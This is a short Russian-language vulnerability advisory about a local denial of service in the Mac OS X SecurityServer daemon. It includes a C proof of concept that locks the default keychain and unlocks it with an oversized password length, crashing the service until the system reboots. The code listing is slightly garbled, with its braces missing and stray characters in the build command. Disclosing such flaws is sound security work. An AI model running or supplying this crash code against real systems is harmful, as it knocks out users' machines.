DoS против Mac OS X SecurityServer

Описание: Отказ в обслуживании обнаружен в Mac OS X SecurityServer. Локальный пользователь может аварийно завершить работу SecurityServer.

Локальный пользователь может разблокировать заблокированную цепочку ключей и определить длинный пароль, чтобы аварийно завершить работу SecurityServer демона и других процессов. Для восстановления нормальной работы, система должна быть перезагружена.

Пример/Эксплоит:

Proof Of Concept Code
To  build this code run ³gcc <file name> -framework Security ¬o
CrashSecurityServer²

#include <Security/Security.h>
int main(int argc, const char *argv[])
 
    SecKeychainRef defaultKeychain;
    SecKeychainCopyDefault(&defaultKeychain);
    SecKeychainLock(defaultKeychain);
    SecKeychainUnlock(defaultKeychain, 0xFFFFFFFF, "password", true);
    return 0;

URL производителя: http://www.apple.com

Решение:Способов устранения обнаруженной уязвимости не существует в настоящее время.